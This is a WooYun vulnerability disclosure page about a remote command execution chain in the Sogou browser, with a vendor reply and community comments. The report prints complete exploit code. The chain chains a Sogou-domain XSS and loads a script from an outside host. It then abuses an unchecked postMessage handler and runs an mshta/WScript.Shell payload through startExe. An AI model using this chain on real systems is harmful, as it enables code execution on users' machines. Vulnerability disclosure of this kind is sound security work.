当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-085567

漏洞标题:搜狗浏览器远程命令执行三

相关厂商:搜狗

漏洞作者: gainover

提交时间:2014-12-02 14:43

修复时间:2015-03-02 14:44

公开时间:2015-03-02 14:44

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-02: 细节已通知厂商并且等待厂商处理中
2014-12-05: 厂商已经确认,细节仅向厂商公开
2014-12-08: 细节向第三方安全合作伙伴开放
2015-01-29: 细节向核心白帽子及相关领域专家公开
2015-02-08: 细节向普通白帽子公开
2015-02-18: 细节向实习白帽子公开
2015-03-02: 细节向公众公开

简要描述:

搜狗浏览器又发布更新了,是不是修好了呢?
这一次,搜狗针对性的对上一个漏洞中的多个点进行了修改,但是有些地方依然欠缺考虑。使得我们可以继续绕过搜狗的修复措施,实现远程命令执行。
另外,不用故意压低rank值了,我不会去SGSRC的。

详细说明:

1. 首先列一列搜狗针对上一个漏洞做了哪些修复性的措施。
A. 限制了 location.href 直接向 se-extension跳转,即
location.href='se-extension://ext-1055834318/signin.html'; 会打开一个“空白页”。
同理:
window.open('se-extension://ext-1055834318/signin.html'); 也会打开一个“空白页”
B. 修复了 se-extension://ext-1055834318/signin.html 中的XSS,即 com.sogou.snapTaker 这个插件更新至了0.89版本。

var renrenUrl = "https://graph.renren.com/oauth/authorize?",
weiboUrl = "https://api.weibo.com/oauth2/authorize?";
if (url && (url.indexOf(renrenUrl) === 0 || url.indexOf(weiboUrl) === 0)) {


这一次对url的判断,没有再次犯错,因此这个XSS这次确实是被修复了
C. 改变了npgamecenterlite.dll中startExe API的代码,即com.sogou.gamecenter这个插件升级到了1.0.7版本。(不过目录下的js/seed.js里的代码的插件版本号忘了改了哦?,var PLUG_VERSION = global['PLUG_VERSION'] = "1.0.6";)
http://img.wan.sogou.com/cdn/gamehelperV0.3/v1.0.6/app.js?t=1.0.6
里的startExe的代码如下:

miniLauncher.startExe(url, "/popgame " + exe_param, function(arg) {
if( arg ){
utils.pb_cl( '2013_popup' , 'id=micro_launched' );
}
log( arg ); // if true , mean function calls success
});


进过分析发现,这个版本中,startExe具有3个参数,函数伪代码大概如下:

function startExe(url, param, callback){
运行应用(url+"sogouminigamepacker.exe "+param);
运行callback回调
}


而在上一个版本中,startExe只有2个参数,startExe("EXE路径",回调函数);
这里改为3个参数的目的,应该是为了让startExe只能调用某一个路径下的sogouminigamepacker.exe程序。
---------------------------------------------------------------------
2. 接着我们一一来绕过或是寻找新的漏洞来应对上面的修复措施。
A. 无法location.href了,而window.open也是打开了一个 about:blank,但是分析发现,在about:blank时可以使用 location.href='se-extension://ext-1055834318/signin.html' 跳转到se-extension页面。这样一来,我们可以使用下面的方法:

//首先,window.open打开目标页,会打开一个空白页 about:blank
w=window.open('se-extension://ext-1055834318/signin.html');
//然后,使用w.location.href对打开的页面进行重定向
setTimeout(function(){
w.location.href='se-extension://ext-1055834318/signin.html';
},500);


如下图所示:

1.jpg


当然,在我们自己域名下执行window.open 会被拦截,但是由于搜狗浏览器的机制,如果window.open在 *.sogou.com下执行则不会被浏览器所拦截。因此,我们要自动执行window.open,可以结合sogou.com域下的一个XSS来进行,由于比较懒,我翻了翻乌云上以前的搜狗的漏洞,有一个没有修复的XSS。

http://player.mbox.sogou.com/FlashMP3Player.swf?isFlashReady=function(){if(!window.x){alert(1);window.x=1;}}


该XSS来自一个一年前的漏洞报告:《 WooYun: 搜狗浏览器远程命令执行漏洞
到了这里,我们突破了第一个修复,可以实现打开任意 se-extension:// 下的页面。
B. XSS被修复了,我们得找一个新的XSS。
我们分析到se-extension://ext740107210/html/balloon.html时发现该页面会调用http://img.wan.sogou.com/cdn/gamehelperV0.3/v1.0.5/balloon/main.js这个文件,其中有以下一段代码:

window.onmessage = function(e) {
var data = e.data;
if (data.cmd == "BalloonCloseWin") {
window.close();
} else if (data.cmd == "BalloonNoTip") {
localStorage["balloon_forbidden"] = +new Date();
window.close();
} else if (data.cmd == "BalloonStartGame") {
sogouExplorer.tabs.create({
url: data.url,
selected: true
});
window.close();
}
};


可以看到,这里是一个 onmessage,且代码里并没有对 数据的origin以及数据内容进行判断,就进入到了 sogouExplorer.tabs.create 函数,
如果做过chrome插件开发的朋友,可能大概推出这个 sogouExplorer.tabs.create 应该是用来创建新的 浏览器tab页面的API,那么会有什么安全问题呢?
当 url为 javascript:alert(1); 的时候,sogouExplorer.tabs.create 相当于在当前页面下执行了javascript:alert(1); 因此,结合这个XSS,实际上我们可以在se-extension://ext740107210/html/balloon.html下执行任意XSS代码了。

//伪代码, 窗口对象为A步骤里得到的w变量
窗口对象.postMessage({"cmd":"BalloonStartGame","url":"javascript:alert(1)"},"*");


C. startExe函数进行了修改,那么那种修改可以防止执行任意命令吗?
我们首先来猜测一下对方的判断规则,
document.getElementById("embed1").startExe("calc.exe","",function(){console.log(arguments)});
如果是上面这样,按照前面的判断,会执行 calc.exesogouminigamepacker.exe,当然是不会执行,
我们加个空格,
document.getElementById("embed1").startExe("calc.exe ","",function(){console.log(arguments)});
这个理论上会执行 calc.exe sogouminigamepacker.exe ,后面的 sogouminigamepacker.exe 被当作了calc的参数。
但是这样还不行,测试发现只要出现了.exe就不行。
但是这里不需要exe也可以执行。
document.getElementById("embed1").startExe("calc ","",function(){console.log(arguments)});
结合上一个漏洞的利用代码,改改:

document.getElementById("embed1").startExe("mshta javascript:(new/**/ActiveXObject('WScript.Shell').run('calc'));window.moveTo(-1000,-1000);window.close(); //","",function(){console.log(arguments)});


D. 最后一步,怎么调用到 document.getElementById("embed1").startExe 呢?
我们存在XSS的页面是
se-extension://ext740107210/html/balloon.html ,
我们存在document.getElementById("embed1").startExe 的页面是:
se-extension://ext740107210/html/back.html
可以看到,这2个页面都是属于同一个插件(ext740107210)的页面,
并且 se-extension://ext740107210/html/back.html 是 se-extension://ext740107210/html/balloon.html 的 backgroud page.
在插件开发中,搜狗浏览器为插件页面提供了一个API,以便快速获得 background page的window对象。
sogouExplorer.runtime.getBackgroundPage(),参见(http://ie.sogou.com/open/doc/?id=2_16&title=runtime)
因此,我们可以很容易把前面的代码变为以下方式:

sogouExplorer.runtime.getBackgroundPage().document.getElementById("embed1").startExe("mshta javascript:(new/**/ActiveXObject('WScript.Shell').run('calc'));window.moveTo(-1000,-1000);window.close(); //","",function(){console.log(arguments)});


-----------------------------------------------------------------
3. 最后的利用代码如下:
sogouhehehe.html

<script>
window.name="f=document.createElement('script');f.src='http://xsst.sinaapp.com/poc/sogou2.js?'+Math.random();document.body.appendChild(f);";
location.href="http://player.mbox.sogou.com/FlashMP3Player.swf?isFlashReady=function(){if(!window.x){eval(window.name);window.x=1;}}";
</script>


sogou2.js

w=window.open('se-extension://ext740107210/html/balloon.html');
setTimeout(function(){
w.location.href='se-extension://ext740107210/html/balloon.html';
var x=setInterval(function(){
if(w){
clearInterval(x);
w.postMessage({"cmd":"BalloonStartGame","url":"javascript:sogouExplorer.runtime.getBackgroundPage().document.getElementById('embed1').startExe(\"mshta javascript:(new/**/ActiveXObject('WScript.Shell').run('calc'));window.moveTo(-1000,-1000);window.close(); //\",\"\",function(){console.log(arguments)});"},"*");
}
},100);
},500);

漏洞证明:

访问: http://xsst.sinaapp.com/poc/sogouhehehe.html
win7 64
效果如下:

2.jpg

修复方案:

1. 继续修复window.open
2. 修复balloon.html的XSS
2. 继续修复startExe函数的设计逻辑

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-12-05 15:11

厂商回复:

非常感谢您的支持,问题已着手处理,欢迎到SGSRC提交漏洞。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-12-02 14:44 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    二哥威武啊,厂商还是没彻底修复么

  2. 2014-12-02 14:46 | 拖鞋王子 ( 实习白帽子 | Rank:43 漏洞数:3 | 安阳安阳)

    关注

  3. 2014-12-02 14:47 | erevus ( 普通白帽子 | Rank:177 漏洞数:31 | Hacked by @ringzero 我錯了)

    二哥说再不给20rank就过年发连载...

  4. 2014-12-02 14:47 | covertops ( 普通白帽子 | Rank:112 漏洞数:21 | wooyun)

    再来一波

  5. 2014-12-02 15:06 | YyY ( 路人 | Rank:11 漏洞数:4 | YyY)

    @疯狗 到底是狗哥大,还是二哥大?

  6. 2014-12-02 15:08 | an0nym0u5 ( 普通白帽子 | Rank:172 漏洞数:23 )

    最后一句霸气侧漏。

  7. 2014-12-02 15:15 | xy小雨 ( 普通白帽子 | Rank:171 漏洞数:50 | 成为海贼王的男人)

    搜狗开了个SGSRC, rk就少了。。。明知道我们不去。。还一直打广告。。我也是最了

  8. 2014-12-02 15:17 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    醉了。。

  9. 2014-12-02 15:18 | _Thorns ( 普通白帽子 | Rank:882 漏洞数:55 | 收wb 1:5 无限量收 [平台担保]))

    叔叔,叔叔,我们不约- -

  10. 2014-12-02 15:25 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    我就知道是二哥

  11. 2014-12-02 15:25 | blast ( 普通白帽子 | Rank:348 漏洞数:57 | 五仁委员会)

    叔叔,叔叔,我们不约

  12. 2014-12-02 15:32 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  13. 2014-12-02 15:35 | Coffee ( 普通白帽子 | Rank:144 漏洞数:15 | Corie, a student of RDFZ.)

    另外,不用故意压低rank值了,我不会去SGSRC的。

  14. 2014-12-02 15:51 | Woodee ( 路人 | 还没有发布任何漏洞 | 乌云路人甲,打脸pa pa pa)

    顶2哥。SRC们醒醒吧!

  15. 2014-12-02 15:58 | 小熊饼干 ( 实习白帽子 | Rank:41 漏洞数:6 | 酱油专业户)

    顶二哥,SGSRC的漏洞总是被绕过,也是醉了,自己的人都没有分析能力么。。。

  16. 2014-12-02 15:59 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    另外,不用故意压低rank值了,我不会去SGSRC的。

  17. 2014-12-02 16:03 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999)

    不用故意压低rank值了,我不会去SGSRC的

  18. 2014-12-02 16:05 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    另外,不用故意压低rank值了,我不会去SGSRC的。

  19. 2014-12-02 16:06 | 马燕羊蝎子 ( 实习白帽子 | Rank:83 漏洞数:10 | 亲,啥时候请吃马燕羊蝎子。)

    另外,不用故意压低rank值了,我不会去SGSRC的。

  20. 2014-12-02 16:08 | 哦哦 ( 路人 | Rank:2 漏洞数:1 | 好123,最好的导航,没有之一)

    另外,不用故意压低rank值了,我不会去SGSRC的。

  21. 2014-12-02 16:21 | 小豹 ( 实习白帽子 | Rank:33 漏洞数:3 | 一个人的寂寞,整个群的错234236)

    另外,不用故意压低rank值了,我不会去SGSRC的。

  22. 2014-12-02 16:35 | 小人物Reno ( 普通白帽子 | Rank:471 漏洞数:32 | X)

    另外,不用故意压低rank值了,我不会去SGSRC的。

  23. 2014-12-02 16:39 | 宝-宝 ( 路人 | Rank:20 漏洞数:8 | 爱Web,也爱内核。 爱渗透,不爱暴力。爱0d...)

    另外,不用故意压低rank值了,我不会去SGSRC的。 二哥,威武。。。

  24. 2014-12-02 16:52 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:102 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    另外,不用故意压低rank值了,我不会去SGSRC的。

  25. 2014-12-02 16:52 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    有钱!任性!

  26. 2014-12-02 16:54 | 孤独雪狼 ( 普通白帽子 | Rank:710 漏洞数:145 | 七夕手机被偷,这坑爹的七夕啊 。。。。)

    另外,不用故意压低rank值了,我不会去SGSRC的。

  27. 2014-12-02 16:57 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @孤独雪狼 另外,不用故意压低rank值了,我不会去SGSRC的。 如果这次给1分,会怎么样。。。

  28. 2014-12-02 16:57 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    有的厂商就是故意的,擦。。

  29. 2014-12-02 17:00 | 孤独雪狼 ( 普通白帽子 | Rank:710 漏洞数:145 | 七夕手机被偷,这坑爹的七夕啊 。。。。)

    @px1624 要是给1分 二哥肯定会连载死它的 哈哈

  30. 2014-12-02 17:02 | 蓝冰 ( 核心白帽子 | Rank:627 漏洞数:50 | -.-)

    @疯狗 狗哥 帮审核下别 被晾好几天了 http://www.wooyun.org/bugs/wooyun-2014-085276/trace/dc2ca2cf998467f6d6e3c0bba7470eea

  31. 2014-12-02 17:16 | covertops ( 普通白帽子 | Rank:112 漏洞数:21 | wooyun)

    另外,不用故意压低rank值了,我不会去SGSRC的。二哥请厂商吃辣条,有钱任性

  32. 2014-12-02 17:25 | 酸奶、 ( 普通白帽子 | Rank:182 漏洞数:10 )

    二哥这么任性。

  33. 2014-12-02 17:43 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    擦,死冬瓜,拿我号乱回复!!!

  34. 2014-12-02 17:50 | 黑吃黑 ( 普通白帽子 | Rank:139 漏洞数:26 | 倚楼听风雨,淡看江湖路...)

    大神的洞就是牛逼,要好好研究才行

  35. 2014-12-02 17:54 | 狗狗侠 ( 普通白帽子 | Rank:497 漏洞数:55 | 我是狗狗侠)

    搜狗不给高分,这浏览器的代码执行是修不好了。。

  36. 2014-12-02 18:11 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:687 漏洞数:78 | 铁甲依然在)

    另外,不用故意压低rank值了,我不会去SGSRC的。

  37. 2014-12-02 18:16 | 牧马 ( 普通白帽子 | Rank:107 漏洞数:17 | 我是要成为猪猪侠的男人。。。。)

    另外,不用故意压低rank值了,我不会去SGSRC的。1rank的节骤......

  38. 2014-12-02 18:44 | h0FF ( 普通白帽子 | Rank:144 漏洞数:40 | 打怪升级)

    洞主太任性了

  39. 2014-12-02 19:02 | g0odnight ( 实习白帽子 | Rank:83 漏洞数:13 | 么么哒,呵呵哒,么蛤蛤~)

    另外,不用故意压低rank值了,我不会去SGSRC的。 忽略的节骤......

  40. 2014-12-02 20:14 | luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)

    二哥好调皮,好任性~

  41. 2014-12-02 20:39 | 炯炯虾 ( 路人 | Rank:2 漏洞数:1 | 我来自地球)

    估计是6分

  42. 2014-12-02 21:46 | c0nt ( 路人 | Rank:1 漏洞数:4 )

    另外,不用故意压低rank值了,我不会去SGSRC的。

  43. 2014-12-02 22:35 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @gainover 25个闪电了

  44. 2014-12-03 08:02 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 严肃点~此号为虚拟小号,并不存在实体...)

    1 rank不解释,有洞!任性!!

  45. 2014-12-03 16:58 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    另外,不用故意压低rank值了,我不会去SGSRC的。我有钱,任性……

  46. 2014-12-04 09:48 | mlyKnown ( 路人 | Rank:2 漏洞数:1 | 咚咚咚咚,查水表啦。)

    二哥~~

  47. 2014-12-04 14:30 | FenQing ( 路人 | Rank:8 漏洞数:1 | FenQing)

    漏洞Rank:1 感谢支持,欢迎您在SGSRC平台提交漏洞

  48. 2014-12-05 15:17 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    目测以后再提交都是5分了。。。

  49. 2014-12-05 15:18 | xy小雨 ( 普通白帽子 | Rank:171 漏洞数:50 | 成为海贼王的男人)

    完全不给面子 5rk

  50. 2014-12-05 15:26 | erevus ( 普通白帽子 | Rank:177 漏洞数:31 | Hacked by @ringzero 我錯了)

    又有下一篇了 期待ing

  51. 2014-12-05 15:35 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @erevus 。。在这么发下去,二哥的平均rank就被拉低的不成样子了

  52. 2014-12-05 15:40 | p.z 认证白帽子 ( 普通白帽子 | Rank:411 漏洞数:40 )

    哈哈哈哈哈哈哈哈哈 欢迎您在SGSRC平台提交漏洞

  53. 2014-12-05 15:46 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    回复的是自动化

  54. 2014-12-05 15:53 | 乌云 ( 实习白帽子 | Rank:66 漏洞数:14 | a)

    另外,不用故意压低rank值了,我不会去SGSRC的。

  55. 2014-12-05 16:00 | 小鲜肉 ( 实习白帽子 | Rank:34 漏洞数:5 | 努力学习,不想在浪费时间了。)

    继续连载

  56. 2014-12-05 16:25 | Woodee ( 路人 | 还没有发布任何漏洞 | 乌云路人甲,打脸pa pa pa)

    搜狗的乌云账号是真人在管理么。。

  57. 2014-12-05 16:53 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @Woodee 是人,看了3个的回复,不一样

  58. 2014-12-05 16:54 | Woodee ( 路人 | 还没有发布任何漏洞 | 乌云路人甲,打脸pa pa pa)

    @px1624 TAT

  59. 2014-12-26 09:02 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    欢迎到SGSRC提交漏洞。没有改啊

  60. 2015-01-22 11:01 | 木马游民 ( 路人 | Rank:17 漏洞数:8 | I love LSD!)

    故意压低rank会让人感觉恶心吧。。

  61. 2015-03-02 15:33 | 静默 ( 路人 | Rank:8 漏洞数:6 | 安全小白)

    每次都给5rank,太坑爹了吧,最少应该15啊

  62. 2015-03-02 16:32 | Mr.Black ( 路人 | 还没有发布任何漏洞 | 爱好WEB安全 爱好个人信息安全)

    另外,不用故意压低rank值了,我不会去SGSRC的。